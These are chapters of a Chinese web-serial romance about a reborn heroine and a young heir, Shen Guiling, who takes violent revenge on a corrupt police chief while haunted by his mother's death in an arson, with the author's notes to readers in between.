莫然把姜花衫背进卧室放在床上,正要解外套拉链,姜花衫一个转身抱着枕头换了个方向。 “姜小姐,脱了衣服再睡吧?”莫然以为姜花衫要醒了,小声与她商量。 姜花衫摆摆手,把头埋进枕头,“烦死了,还让不让人睡觉?” 莫然想着沈归灵的吩咐,打算再试试,谁知床上的人就跟泥鳅似的钻来钻去根本下不了手,折腾一圈反倒把她整出了汗。 莫然没法,只好由着她,起身捡起地上的枕头放好,走出了卧室。 待房门掩实,黑暗归宁。 床上的人倏地一下睁开眼,拉开拉链挪了挪,长腿一蹬小猪外套就像蛇皮一样被她蹬下了床。 姜花衫双手抱胸跪坐在床上,粉色的细肩带垮在臂膀,单薄的纱裙紧贴着丰盈傲人的柔软,及膝的裙摆因为跪姿不雅堪堪撩到了大腿根,绵延起伏臀线与过度弯折的腰身连成了想都不敢想的S型。 其实早在系统报告心动值的时候她就醒了。 沈归灵盯着她的看着的时候,她心里同时腾升起了一百种念头,最后天秤两端只剩下无视他和勾引他。 她拿不定主意,假装跌倒想把他踢走。 可是这混蛋竟然抓她的脚! 他的手心那么烫,差点没把她烫死。 沈归灵想干什么? 正当她准备跳起反抗时,沈归灵忽然捧住她的脸,喊她的名字。 这一喊,把她脑子里的智慧全部唤醒了。 不能醒! 沈归灵正是以为她不知情,所以才小心翼翼守着这层窗户纸,说明他心中还有忌惮。如果被他发现她早就洞悉了他的心意,还想溜着他玩,沈归灵肯定会弄死她的。 上一世,她使出浑身解数,沈兰晞都没有看她一眼,说明男人不喜欢主动投怀送抱的女人,她可不能重蹈覆辙。 得不到就是最好的,这1%不能送,得钓。 一番醍醐灌顶后,她只能闭眼装死。 果不其然,沈归灵下不去手了,连抱她回房间睡觉都不敢了。 天才! 上辈子对付沈兰晞是经验不足用错了方法,这次总结到位肯定不会有错了! 姜花衫信心十足,抱着枕头美滋滋钻进了被窝。 * 莫然回头看了卧室门一眼,转身走进客厅,“少爷,姜小姐不愿意脱衣服。” 沈归灵神色如常,“随她,这么晚了还辛苦你跑一趟实在不应该,这样,明天放你半天假,莫助理也好好休息一下。” 莫然原本想推辞,顿然灵光一闪,笑着应下,“谢谢阿灵少爷,如果没别的事,我就先回去了?” 沈归灵点头,“路上小心。” 莫然取下门口的外套告辞,刚走进电梯又按下开门键,她有点犹豫,要不要告诉阿灵少爷,姜小姐是装睡? 思忖片刻,莫然收回手,任电梯门缓缓关上。 少爷应该知道,她刚刚说的是姜小姐不愿意脱,少爷当时并没有反驳。 屋内,温度依旧是三十一度半。 沈归灵扯了扯领口,目光深深看着卧室门,指尖夹着手机来回翻转。 “……” …… 宝宝们,事情是这样的:今天我坐在床上看你们的留言,我崽崽问我这是什么,我告诉她这是妈妈写的小说,这些是姐姐和姨姨们的留言,她很好奇非要跟我一起看,因为她不认识字,所以就被你们的各种表情包吸引了,其中有个特别搞笑的,她笑的差点从床上掉下来了,所以…麻烦你们交出你们最可爱的表情包,我拿来逗娃~ 第321章 全员恶人的皇室 一夜无梦。 雾蒙蒙的冬天,海港码头覆上了浓重的灰调。 姜花衫睡眼惺忪从被窝里爬起来,身下熟悉的触感,差点让她以为自己还在菊园的绣楼。 屋内的气温已经调回了舒适宜人的22度。 她缓了一会儿,换了件寻常的居家服,洗漱完随意扎了个丸子头就出了卧室。 年轻就是好,无需精雕细琢,就算素面朝天也漂亮的不像话。 客厅很安静,姜花衫溜了一圈才发现茶几上有沈归灵的留言。 【我上午有个会,开会就回来,微波炉里有吃的。】 “开会开会!小小年纪怎么局里局气?一天到晚开不完的会。” 姜花衫嘟哝了两句,撕下便利贴揉成一团正准备丢垃圾桶,忽然反应过来看着客厅满满当当的资料。 这些资料侧面不知什么时候贴上了密密麻麻的标签,不同颜色的标签对应不同的信息点,由深及浅看上去格外治愈。 姜花衫心思微动,随手抽了几本,只见上面标注着:【白家入股投资的重要产业】、【白家贿赂的高官名单及账目往来】、【白家核心家族成员名单】 沈龟灵还真全部都看完了,不然这么复杂的东西他不可能一晚上就整理出来了? 姜花衫斟酌片刻,打开白家家族名单。 剧目不可能无缘无故出现白家这条线,这里面一定有什么隐情?知己知彼百战不殆,她必须先弄清楚白家里面有什么牛鬼蛇神? 打定主意,姜花衫抱着白家资料开始认真研读。 不看还好,看完后姜花衫整个人风中凌乱,除了已故的白宸亲王,白家个个都跟超雄神经病似的。 女王白朱拉有两个女儿,长公主白拉曼嫁给了本国军政高官,后因丈夫被曝与秘书有染,白拉曼直接提枪杀了丈夫的情人,并逼迫丈夫将名下所有财产转移到了当时还未成年的白密皇子名下。完成财产转移没多久,丈夫就被发现在自家泳池里溺毙身亡。 一个在前线枪林弹雨都能活下来的将军最后被溺死在自家泳池,天底下再没有比白拉曼更懂得杀人诛心的了。 最奇葩的还是这个白密皇子,亲父出丧那天,他叫来两只白虎吓唬宾客,最后葬礼现场秒变火葬现场。 二女儿白迪雅更是了不得,死活要嫁给一个比自己大三十岁的老男人,熬死老公后她继承了亿万家财以及死老公名下的所有学生,那些学生在各个领域都是拔尖代表,二公主无惧国民指摘,周璇于个个男人之间乐此不疲。 白迪雅的小女儿白蒂娜受不了母亲荒淫的行为,假借白迪雅的名义邀请了十二名情人来到家中寻欢,结果那十二人被全部枪杀,那个时候的白蒂娜才十四岁。 更奇葩的是,白迪雅不仅没有生女儿的气,反而认为女儿具有非凡的领袖潜质,花尽心思将女儿推荐给了白家女王,女王也认为白蒂娜是可塑之才,将她留在身边亲自教导。 现如今的白蒂娜已经是白家皇室的脸面担当,更是S国民众引以为傲的帝国小公主。 至于白峥的故事就更抓马了,除了嗜杀,他还恋兄,这变态爱慕白宸亲王到了癫狂的程度,满世界寻找与白宸亲王模样相似的替代品。 一个个奇葩看得姜花衫心肌梗塞,这到底是怎么做到的?全员变态?! 另外一组皇室家族就更抓马了,什么LL、出轨、内斗,每天上演不同版本的伦理剧,近几年出了一致好评的白洌皇子才消停了一点。 不过结合白家皇室有毒基因来看,这个白洌年纪轻轻能做到第一执行官的位置,绝对不是个简单的人物。 看完白家癫狂史,姜花衫脑子更糊涂了,好端端的,剧目直接为什么要安排一个这么癫的家族?偏偏这样的人还手握皇权,到底想干什么? 这个白家跟爷爷的死到底有没有关系? 就在她百思不得其解时,大门传来声响,沈归灵开门走了进来。 姜花衫想的入神,蜷缩在黑色的皮沙发里,完全没有注意。 沈归灵脱下大衣,慢步走进客厅,目光随意扫了一眼姜花衫手里标签,便知她在看白家家族成员的资料。 当初为了预防白家报复,他也曾认真研究过白家每个人的性格特点。 见姜花衫还是没有反应,沈归灵解开袖扣慢慢卷上胳膊。 “吃过了吗?” 姜花衫一怔,抬头正好与沈归灵的目光对视。 两人谁都没有回避,就直勾勾看着对方的眼睛。 “没吃。” 沈归灵眼底的眸光动了动,最终没撑住,转头看向她陷进沙发的脚丫,“想吃什么?” 姜花衫看着沈归灵耳廓升起的红晕,不动声色压了压眉梢,“想吃你……” 沈归灵抬眸看着她。 姜花衫立马顺口,“做的面。” 沈归灵淡淡收回目光,拿出手机,“我不会做饭,点外卖?” “……”都99%了,一碗面条都不愿意做? 姜花衫表情一言难尽,“你怎么什么都不会。” “……”沈归灵微愣,“你会?” 姜花衫突然两眼放光,这不就是好机会吗?她可以做啊?有句话叫什么来着,要抓住一个男人的心必须先抓住他的胃。 她举手,一脸热情开口,“我也不会。” 还是算了吧。 煮面条要开火、倒水,还得调汤底,煮好了还得盛到碗里,想想就好麻烦。 爷爷辛辛苦苦把她娇养得十指不沾阳春水,凭什么为了一个男人就要让双手沾染烟火? …… 第322章 火光、恐惧 沈归灵原本也没指望她,找了家私厨面馆直接下单。 “沈龟灵,面没有,草莓汁总该又一杯吧?” 这是往家里招了个祖宗? 沈归灵转头进了厨房,没一会儿传来了榨汁机的声响。少顷,他端了一杯草莓汁和一杯橙汁走了出来。 姜花衫接过草莓汁,咬着吸管啄了一口。沈归灵挨着旁边的沙发坐下,随意抽了一本白家的发癫史。 “你也对白家皇室感兴趣?”姜花衫假装无意问道。 沈归灵摇头,“没兴趣。” 他不过是见她看的入神跟着打发时间罢了。 姜花衫咬了咬吸管,略带感慨,“你说白家人这么变态,爷爷去S国会不会有危险?” 沈归灵知道她担心沈庄,思忖片刻,拿起桌上的遥控器打开电视。 当地新闻台正在重播前几天的两国会谈。 作为东道主,女王携带所有皇室成员共同出席了此次会议,镜头里代表女王发言的正是长公主白拉曼。 姜花衫眼前一亮,上一世她满脑子都是怎么入沈家族谱,后来变成怎么讨沈兰晞喜欢,根本不曾关注过国际局势,没想到女王一家颜值这么高的。 个个肤白精致,不知道的还以为他们有血族血统。 会议气氛严肃,镜头在皇室成员里一晃而过,姜花衫盯着看台上穿着皇室军服的银发少年。 “怎么还有个银毛?皇室也玩COS?” 沈归灵转眸看去,镜头正好切走。 姜花衫说不上哪里怪异,翻看着手里的资料,看那银毛的站队一定是皇室核心成员,从年纪来看,应该是大逆不道火葬生父的白密皇子。 这么重要的场合竟然还一头银毛,看的这小子的性子连长公主都管制不住。 镜头再晃,转到了A国代表。 沈庄作为特邀嘉宾坐在客席主位,沈清予西装笔挺坐在沈庄身后,外媒记者似乎对沈清予特别偏爱,镜头几次有意无意切换他的视角。 沈清予明显也感知到了,挑着眉眼扫过,眼色不羁却又踩着边界,游刃有余。 姜花衫啧啧摇头,“没想到沈清予上镜还挺帅的。” 沈归灵看了一眼,直接跳过这个话题,“两国会谈很顺利,会议结束后女王还特意在白王宫设宴邀请爷爷共进晚餐,为了表达两国友好,女王还赠送了一对王象作为两国修复邦交的历史见证。” “修复邦交?” 之前傅绥尔就曾提起过,S国女王因为白宸亲王战陨的事封锁了与A国的外交,没想到历史竟然破冰了。 上一世有这个剧情吗? 她怎么一点记忆都没有? 照这么看来,爷爷应该暂时不会有危险。 沈归灵见她有兴趣,继续说道,“这次恢复建交的意义不同,A国已经接受了S国多项国际投资,同时S国也对A国开放了多个垄断资源行业,未来十年,两国之间会从商业投资相互渗透。” 姜花衫摸了摸下巴,和谈既然发生在这个剧情点一定有它的作用,到底是在为什么剧情铺路? “叮咚——” 这时,门外响起了门铃声。 姜花衫假装没听见低头看资料,沈归灵起身开门。 “您好,您的外卖。” “谢谢。” 沈归灵提着外卖直接去了厨房,拆包装的时候发现打包食盒的标签贴反了,他微微停顿了一会儿,将外卖重新装回袋子,转手拨通了莫然的电话。 “阿灵少爷。” “查一下姚勇伟在做什么?” 挂了电话,两分钟后莫然又打了过来。 “少爷,实在抱歉,是我失职。他们在您的外卖里加了钢针。姚勇伟这是狗急跳墙,想用这种卑劣的手段恐吓您,少爷,需要我将这件事转告先生吗?” 沈归灵拎着外卖扔进垃圾桶,打断她,“莫助理,你的休假结束了。麻烦你现在过来一趟……” “沈龟灵!!!你是在这里面煮面吗?” 沈归灵压低嗓音,“莫助理,记得买面。” 挂了电话,沈归灵若无其事走出厨房,“外卖洒了。” “哈?”姜花衫放下手中的资料,“那我们吃什么?” 沈归灵往厨房看了一眼,“我先给你煮个蛋?” “……”姜花衫摸了摸肚子,有气无力,“行吧,那你快点。” 沈归灵转回厨房,对着灶台发了会儿呆,动作娴熟取下蒸锅,接水,上架…… 临点火时,他的动作慢了下来,手指压着燃气灶的阀门慢慢转动。 “咻——” 火苗噌的一下冒出,倒映在漆黑幽然的眸底。 “小灵,你快走!你快走!别管我,你快走!” 那人隔着漫天火光跪地嘶喊,“我错了,是我错了!求求你们不要伤害我的孩子,求求你们放过他!他是无辜的!” * 另一边,姜花衫等了好一会儿也没听见厨房有动静,不觉有些奇怪。 “沈归灵?” 她站起身,正准备去厨房看看情况,沈归灵率先走了出来。 “诺。”他拉起姜花衫的手,把煮好的鸡蛋放进她的掌心,“吃吧。” 鸡蛋的温暖明显被冷却过,握在手心刚刚好。 姜花衫低头看着掌心的,不知为何忽然有种说不清的怪诞,她抬眸细细打量沈归灵,“你没事吧?” “叮咚——” 这时,门铃声再次响起,沈归灵看了她一眼,转身去开门。 “少爷,姜小姐。”转眼,莫然提着大包小包的生鲜走进屋。 沈归灵点头,取下自己的大衣回头看向姜花衫,“想吃什么让莫助理给你做,我去上班了。”说完,转头出了门。 姜花衫看着手里的鸡蛋,又坐了回去。 莫然,“姜小姐饿了吧?我现在给您做吃的?” 姜花衫敲了敲鸡蛋,认认真真开始剥壳,“没事儿,你慢慢来,我先吃个蛋。” 莫然属于没有优点硬夸,“姜小姐您还会煮鸡蛋,真厉害。” 姜花衫知道莫然这是在示好,扯了扯嘴角,“不是哦,你家少爷煮的。” 莫然愣了一下,“阿灵少爷?” 姜花衫抬头,故作不解,“怎么了,反应这么大?” 莫然尴尬笑了笑,“没什么,只是有些意外。阿灵少爷平时都不怎么用明火的。” 姜花衫眸光微动,默默咬了一口光溜溜的鸡蛋,“这样啊?” 莫然不便多说,提着东西准备去厨房,姜花衫忽然想到什么,追问道,“平时都是你给沈龟灵做饭吗?” “少爷不喜欢公私不分,所以大多时候都是自己点外卖。” 姜花衫一口吞下半个鸡蛋,起身走进厨房。 刚进门就看见冰箱下方打碎了一地鸡蛋,右下角的垃圾桶里放着完好无损的外卖餐。 “……” …… 第323章 直面过去 “叮——” 沈归灵大步走出电梯。 雷行早已恭候多时,听见动静立马迎上前。 “少爷。” 沈归灵情绪淡淡,“去警署司。” 雷行抬手,拦住沈归灵的路,眼神沉着看向专属车位上的黑色轿车。 沈归灵立马意识到什么,脚步一顿抬眸看去。 “砰——” 一声巨响,黑色轿车的车窗突然爆破,车体发生自燃,一分钟后火势蔓延到了全车,灼热的气流驱散了阴冷的寒冬,浓烟滚滚将眼前一切事物烧得扭曲、畸形。 “少爷。”雷行有些担忧看向沈归灵,“我们已经报警了,这里烟大,不宜久留。” 他是沈庄钦定的竹园管事,在进竹园之前研究少爷禁忌是必备常识,其中有一项他记得很清楚,避免少爷接触火光,虽然具体缘由他不知道,但这条命令必须遵守。 沈归灵一动不动眼前的熊熊大火,眼里的温润渐渐沉入眸底。 * 周末清闲,警署司的文公楼也只有几个值班的公职人员,总司长的办公室门微微敞开着,里面断断续续传来刺耳的哄笑声。 某值班人员低头绕过,生怕遭受池鱼之殃。 有人从台阶而上,两人正好迎面撞上,雷行眼明手快,直接推着小值班的肩膀往后退了三步。 “你……你们是什么人?” 小值班入职不久,见雷行凶神恶煞,吓得脸色铁青。 这时,办公室里的笑声更加猖狂。 “你们说,那小少爷会不会吓当场尿身上?” “哈哈哈哈,听说小少爷吓的都报警了,他该不会觉得南湾有人敢管吧?” “报警?他还不如直接打给老大,免得还得走程序,哈哈哈哈哈哈……” 小值班只觉汗流浃背,低着头不敢说话。 沈归灵拍了拍他的肩膀,“你下班了。” “啊?”小值班愣了愣,一时没反应过来。 沈归灵眼神温和,从容淡定直接绕过小值班。 小值班抬头,这才发现整个楼道乃至楼层乌泱泱站满黑衣保镖。 “……” 办公室里。 几个油腻的中年男人叼着雪茄笑的不亦乐乎,姚勇伟挺着大肚腩,翘着二郎腿,得意洋洋伸抖腿。 “一个上不了台面的私生子也敢跟我叫嚣,他这辈子见过的死人也就只有他那早死的妈,不自量力。” “砰——” 话音一落,两扇代表奉公正义的大门被人从外面一脚踹开。 “什么人!” 屋里几人脸色大变,下意识起身防备。 “刚刚我家车库楼下发生爆破,报警迟迟没有反应,所以不得已以亲自来找姚局长问问,我还少了什么流程?” 沈归灵如闲庭信步走进办公室,眼梢挂着淡淡的微笑。 姚勇伟见是沈归灵,立马收起惊愕的表情,冷笑了一声坐回沙发,“沈秘书来怎么也不提前说一声,我们这会正在开会,案情机密闲杂人等不可入内,不送。” 沈归灵扫了几人一眼,绕过办公桌直接坐上了姚勇伟的位置。 姚勇伟脸色微变,目光与下属交汇后再次起身,“你这是什么意思?” 沈归灵没有接话,指尖轻轻点了点桌面。 下一秒,雷行带着一群人占领了这间不足二十平的办公室。 这些人神情冷峻血煞之气极重,腰间两侧微微隆起,一看就不是善茬。 姚勇伟这才有了几分怯意,脸上挂着虚笑,“阿灵少爷,您这是不是太过了?这里可是南湾的警署司,您真要闹起来可是要上新闻的,惊动了国会,沈先生只怕也有意见的。” 沈归灵没有回应,单手托腮,一只手点了点键盘又按了按鼠标,不知道的还以为他在扫雷。 姚勇伟掩眸,不动声色给旁边的下属使了个眼色,下属点头,小心摸进衣服内里,正要按下呼救按钮,电脑前的少年忽然开口。 “找到了。” 还没等几人明白沈归灵找到了什么,雷行毫无预兆出手,一拳砸中男人的脸,趁着男人哀嚎反手勒住男人的脖子,消音枪抵住男人要害,一枪毙命。 雷行的手法很漂亮,血水汩汩往下流,一点血花都没有。 “啊啊啊!!!” 其余几人吓的屁滚尿流,直接瘫倒在地磕头求饶,“沈少爷,不关我们的事啊沈少爷,我们什么都不知道!!” 姚勇伟也懵了,目光穿过重重黑影锁定办公桌上的少年。 沈归灵抬头,将电脑屏幕转向姚勇伟,这时挡在沈归灵面前的人墙立马分开两侧。 “不如姚署长解释一下,你一个小小总司年薪不过50万,为何名下资产有35亿之多?姚局还真是生财有道。” 姚勇伟脸色铁青,如今他算是看出来,沈归灵这是打算撩牙反击,这个时候可不能怂。 他一脚踢开眼前的茶几,死不悔改,“既然话都说到这个份上了,我也没什么好怕的了。水至清则无鱼,我帮沈先生管控南湾十年,替他收服港口大小码头,拿点蝇头小利不算过分吧?你以为这些沈先生不知情?真正的上贡在谁手里你敢查吗?” 见沈归灵不接话,姚勇伟瞬间有了底气,“我是南湾总警司,就算违乱法纪走的也该是检察院流程,你算个什么东西?非法聚众擅闯总警署,黄口小儿,不知天高地厚!” 雷行回头看了沈归灵一眼,直到此刻,少年的眼梢还噙着温和的笑。 他悟了,掏出手枪,默默上膛。 …… 第324章 了结过去 “咔——” 机械转轴的声音格外刺耳,姚勇伟心跳声跟着揪了起来。 他先扫了雷行一眼,忽然意识到什么回头急忙看向沈归灵,言语间多了几分急迫,“我要是死了,沈先生也会有麻烦的,我跟了沈先生十年,没有功劳也有苦劳,你不能这么对我!沈先生也不会同意的。” 看着猎物在罗网中挣扎,沈归灵嘴角的笑意渐深,“姚局长这雪茄看着不错。” 雪茄? 姚勇伟眼神忌惮,低头看向桌上的雪茄盒,沈归灵绝不会无缘无故讨论毫无作用的话题。 “什么意思?” 他没想明白。 沈归灵,“阿尔亚烟草因为战乱已经锐减,阿尔雪茄千金难求有价无市,据我所知整个A国只有傅嘉明对阿尔雪茄情有独钟,甚至不惜花重金收购了当时所有的阿尔烟草。” 姚勇伟脸色霎时苍白如纸,浑身抖如筛糠。 这些雪茄是当初南湾发生爆炸案时下面人塞的好处,他之前根本不抽雪茄,是被那群人引导才渐渐染上了习惯。 沈归灵不急不慢,“忠仆不侍二主,这个道理,姚局长不会不明白吧?诚如姚局长所说,你为父亲殚精竭虑十年,只要姚局长能替父亲守住南湾繁荣,这点蝇头小利父亲睁不会在意。 但……姚局长的野心未免太大了些,明知父亲竞争国会仕途凶险,还与傅家勾结破坏海港安宁……” 姚勇伟这才明白沈归灵的用意,急声打断他,“你放屁!血口喷人!我跟傅家没有任何关系!我要见先生。” 沈归灵略带惋惜,“只可惜父亲已经不愿见你了。” 话落,雷行朝身后的壮汉使了个眼色,两人上前一左一右拦在姚勇伟面前。 姚勇伟警惕往后退,目光凶狠看向沈归灵,“你想干什么?我是南湾总司长……” 话音未落,左右两边同时被人抡了一拳,姚勇伟尖声惨叫,还没等他反应过来,腹部又挨了一记重拳。 这些年身居高位,姚勇伟已经很久没有尝过被人鱼肉的滋味了。 “咳咳咳……” 男人口吐鲜血,跪地扶着茶几,“我是南湾……总……总司长……你…” 沈归灵扯了扯嘴角,“姚局长贵人事忙,这句话,我三年前就听过了。” 姚勇伟一怔,忽然想起三年前南湾柏林那场大火。 大火烧天,浓烟滚滚,哀嚎惨叫声不绝于耳。 他在车里悠哉抽了一根烟才开始装模作样视察工作。姚歌的下的命令是确保那个女人被活活烧死才能开始救火,所以大火烧了整整一个小时,交通才刚刚疏散。 “姚局长,有个小孩刚刚冲进火里,那有逃生仓,现在全力扑灭逃生仓的火源还有机会救人。” 原本就是该死之人,救什么救? 于是他直接下令,“现在扑火太危险了,先掩护群众撤离。” “可是……姚局,那个孩子会死的。” 他看着眼前熊熊烈火,一脸惋惜,“那也只能怪他的命不好,我是南湾总司长,听我调令。” 姚勇伟仿佛想到什么,缓缓抬起头看向沈归灵。 “铃——铃——” 就在这时,办公桌上的电话响了。 沈归灵按下免提。 电话那头传来男人惊恐万分的声音,“姚局长,羁押所的仓库着火了,好大的火,阿江少爷还困在里面……” 姚勇伟听见儿子的名字如当头棒喝,难以置信看向沈归灵。 男人的声音越来越急,“姚局长,您快想想办法,消防要再不来这里就要烧没了~姚……” 不等男人说完,沈归灵直接挂了电话。 姚勇伟面如死灰,浑身发抖看着沈归灵,“是你做的?” 沈归灵没有接话,雷行上前一脚把人踹翻。 姚勇伟立马爬起来,左右开弓不停抽自己耳光,“少爷,是我猪油蒙了心不自量力,我姚勇伟发誓,只要少爷您饶过我这次,我以后一定洗心革面重新做人,为少爷鞍前马后绝无二话。” 现在的姚勇伟是真的怕了,当初他三番五次羞辱沈归灵都相安无事,便以为沈归灵是个软脚虾不足为惧,这才大着胆子踩着这位沈家少爷的头上位。 又因为沈归灵动了姚江,姚勇伟便想着找机会杀杀沈归灵的锐气,外卖和烧车事件意在立威,他并没有真的要害沈归灵的意思,毕竟是沈家的少爷,出了事他也担不起。 “二少爷,我知道错了,求求您放过我儿子,祸不及家人啊二少爷。” “祸不及家人?姚局长若是一开始就有这样的觉悟也不至于这辈子没儿子送终。” 沈归灵站起身,从雷行手里拿过手枪,拆下弹匣只余一枚子弹,重新上膛后丢给另外三人。 “枪只有一把,机会也只有一次,你们自己选。” 说完低头理了理领口的领带,转身出了办公室,雷行紧随其后,办公室门掩上的瞬间,里面传来一声震响。 很快,有人从里面走了出来。 一个满脸横肉的男人举着枪朝沈归灵跪下,“阿灵少爷。” 沈归灵转过身,眸光温和,“叫什么名字?” 男人再没有之前的戏谑鄙夷,恭恭敬敬,“马温。” 沈归灵笑了笑,“恭喜了,马局长。” 雷行上前,将男人手里的枪装进塑料袋。 男人低垂着眉眼,不敢有任何表情。 这把枪就是他杀了姚勇伟的证据,如果他不听话,沈归灵不费吹灰之力就可以把他送上绞刑台。 沈归灵见他是个聪明人,十分绅士点了点头,“这里就交给你了。” 马温连忙起身,回以一百八十度鞠躬,“少爷请放心。” 出了警署司,天空飘起了细雨。 沈归灵抬头,细雨如纤毫沾在他俊美的眉眼上。 雷行小声询问,“少爷,回家吗?” 沈归灵摇头,看向远处浓烟翻腾的方向,“去羁押所。” * “怎么才能让人快速走出伤害阴影?” AI百度百科为您解释:“一:需要理解和释放情绪,可以通过哭泣或者倾诉的方式释放内心压力。二:时时予以关怀,爱和正面情绪可以让人快速走出阴霾。三:建立新的社交关系,转移生活环境,良好的亲密关系可以填补生活空虚、疏导感情遗憾。” “嘶~”姜花衫盘腿摸着下巴认真思考。 沈归灵怕火应该是跟三年前南湾那场火灾有关,她记得上一世那些人嘲笑他的时候就曾提起过,沈归灵的妈妈是被大火活活烧死的。 这么看,沈龟灵极有可能是那个时候留下了心理创伤。 “叭!”姜花衫灵光一闪,打了个响指。 沈归灵年纪还小,搞色诱那一套纯粹是欺负他,不如帮他治愈心理创伤? 这样就算她拿了心动值走人,沈归灵最后还是会得到实质的帮助,她也不算缺德。 可是该怎么做呢? 姜花衫转头看向衣橱泾渭分明的小猪套装和黑丝睡裙。 “有了!” …… 你们的表情包收到了,回去给娃看~感谢可爱的人们~比心 现在只要有时间就打开我的笔记本~随时随地~ 第325章 不要待在地狱 羁押所的火光被控制在很小的范围内,半个小时后,消防、巡警、救护车都到达了现场。 火光烧亮了寒冬的阴天。 沈归灵站在瞭望塔,目不转睛看着大火,黑色的浓烟像一团团蘑菇云滚滚飘向天空,呼救声混乱,救助声有序,一幕幕似曾相识又格外抽离。 …… “妈!妈!” 沈归灵不顾众人劝阻,只身冲进火光,屋内浓烟滚滚几乎目不能视,他在废墟中摸索,声嘶力竭,“妈!妈!” 终于,他在客厅角落发现一道熟悉的身影。 “妈!你别怕,我带你出去。” 舒沐脸上沾满了黑灰,神情空洞,她推开他的手,像看陌生人一样质问他,“你是谁?” 沈归灵蹲下身,撩起还算干净的衣角,“我是你的阿灵。” 舒沐摇头,泪水从眼角滑落,两行清泪沾着灼烧的灰尘,脸脏的不像话。 她看着他,认真纠正,“你不是阿灵,我的阿灵已经死了。” 沈归灵指尖一顿,轻轻替她擦拭眼角的泪,轻声道,“我是阿灵,我永远是你的阿灵。” 舒沐突然痛哭,一把推开他,“你不是!你不是!” 她哭的撕心裂肺,从怀里拿着一截小小碎骨,“他们说,我的阿灵是被活活掐死的,他们打碎了他的骨头将他丢进了炼钢炉烧的连灰都没有。啊!!!!!!” 沈归灵摇头,上前抱着舒沐,“不是的,他们骗你的,我们先离开这里好不好?” 舒沐摇头,神情恍惚,“我离不开了,我离不开了。” 火势越来越猛,再这么耗下去只能葬身火海,沈归灵几乎没有犹豫,直接将舒沐背上身。 他在这个家生活了十五年,就算闭着眼睛也能找到逃生电梯,但屋里的气温越来越高,浓烟入侵五感,他连呼吸都很吃力,这条逃生的路他走地异常艰难。 舒沐忽然安静了下来,侧着脸轻轻贴紧沈归灵的后背,即使少年的肩还单薄如纸,这一刻她作为母亲还是觉得格外心安。 家里的逃生门是沈谦命人专门设计的,为的就是防止这样的意外,沈归灵凭着过人的记忆找到了逃生之门,在两人被火光吞噬之前躲进了门里。 仓门阻隔了火势也挡住的浓烟,他们终于得以喘息。 但很快,沈归灵发现了另外一个危机,通往外面的仓门被人锁死了,照这么下去,如果没有人发现他们,仓门迟早会被烈火烧穿,他们还是难逃一死。 “砰——砰——” “外面有没有人?有人吗?” 沈归灵对着仓门又踢又踹,试图造成最大的动静引起注意。 舒沐跌坐在昏暗的通道里,她怔怔看着沈归灵,不知在想什么。 少年咬紧牙关,不停挥动拳头砸向钢门,双手被砸的血流不止,可他依旧没有要停的意思。 终于,外面传来了动静,仓门传来砰砰砰的共振声。 “里面有人吗?” 那一刻,沈归灵眼睛迸发出夺目的亮光,“有人!开门!有人在里面!!” “是阿灵少爷吗?” 沈归灵回头看了舒沐一眼,用了此生最大的声音回应,“是,快救我们出去!” “阿灵少爷,那个女人现在在你身边吗?” 沈归灵一愣,脸上的表情瞬间僵硬。 “夫人让我告诉你,游戏结束了,只要你亲自送这个贱人下地狱,你就彻底自由了。” 沈归灵垂眸,黑白分明的眼底顷刻间染满了猩红,他转过身,小心翼翼看着舒沐,声音颤抖,“你别信他们好不好?” 外面的声音还在继续,“夫人说了,只要这件事了结,你就会有新的生活。但如果你做不到,你就只能跟着贱人一起下地狱。” 沈归灵只觉此生唯一信念在这一刻崩塌,他忽然失去了所有力气,对着舒沐笔直跪了下去。 他不知道该怎么办,只能哀求她,“你别信他们好不好?就算我求你了,妈妈。” 舒沐隔着狭长的通道看着他,她想去抱抱他,可是她不能。 “阿灵。”她的眼神满是愁容,“你爱妈妈吗?” 沈归灵低着头,泪水无声流了出来。 他爱啊。 虽然他六岁那年就已经知道自己不是舒沐的亲生儿子,可是,他并未因此掩藏过自己的半分真心。 六岁那年,姚歌突然出现在他面前。 她告诉他,他并不是舒沐的亲生儿子,他是个没人要的野种,是她偷天换日给了他不一样的人生。 从那天起,姚歌就监控了他的人生,她不停给他灌输恶念,企图将他培养成撕碎苏沐的爪牙。 他试图求救,可是沈谦对他并无关爱,姚歌在南湾只手遮天,他太小、能力太弱根本逃不出姚歌的掌控。 这样的傀儡生活他一过就是九年,只要他稍有反抗,就会被毒打、虐待,为了控制他,姚歌甚至会定期给他喂食精神类依赖禁药,直到看见他像狗一样听话才会罢手。 后来他也逐渐明白,姚歌对舒沐的恨已经深入骨髓,她不惜耗费十五年时间去编织一个地狱梦魇就是为了彻底摧毁舒沐,让她死后都不得安宁。 为此,沈归灵暗暗下定决心,他要快点长大,他要带着舒沐逃离梦魇。 可是,终究还是慢了一步,他还没长大自己就掉进了深渊。 舒沐现在已经知道了所有的真相,亲生儿子死了,而养在跟前倾心相待的孩子竟然是想置自己于死地之人的走狗,她生为母亲的信念完全崩塌了。 沈归灵不知道该怎么跟舒沐解释?姚歌手上一定有很多证据证明他‘居心不良’,而他终究是欺骗了她。 “阿灵。”舒沐看着眼前弯下脊梁的少年,心如刀绞,“记住,妈妈爱你。” 她冲他笑了笑,拉开逃生仓的门义无反顾冲进了火海。 一切发生的太快,快到沈归灵完全来不及反应。 等他回过神,逼仄的甬道再没有母亲的身影。 他疯了一般跑上台阶,用力拉门,但这次不管用多大的力,仓门依旧纹丝不动。 “妈!!你开门!开门!!!” 沈归灵忽然意识到他即将失去什么,痛哭砸门,“我带你走!让我带你走!!求求你了!求求你了!!!” “小灵,你快走!快走!别管我,你快走!” 舒沐抵着门,望着漫天火光跪地嘶喊,“我错了,是我错了!求求你们不要伤害我的孩子,我的孩子……我要去找我的孩子…” 我的阿灵,快走吧,不要待在地狱。 * 第326章 你什么时候长大? 姜花衫转身抽回她的小猪尾巴,一屁股坐上床。 “把手伸出来。” 沈归灵的身体随着床垫起伏弹了弹,眸光瞬间黯了下来,慢慢伸出手。 他的手很漂亮,指骨如玉骨节分明,即使手背烫出了一片红印也丝毫不影响美感。 伤口并不严重也没有溃烂起泡的迹象,姜花衫看了一眼,用棉棒蘸取烫伤膏一点一点涂在伤口处做简单处理。 擦药的过程,两人谁都没有说话,沈归灵就这么一直看着她。 姜花衫仿若未觉,操控着小小的棉棒从手背滚到指尖,又从指尖滚到指缝。 沈归灵的手抖了抖。 “别动。”她一把托住他的手腕,语气不耐。 沈归灵不适转过头,变成偷偷打量,见她真的在认认真真上药又有些无奈。 此刻手背已经没有了灼烧感,热的是别处。 “你……”他清了清嗓子,“不是说不会下厨吗?” 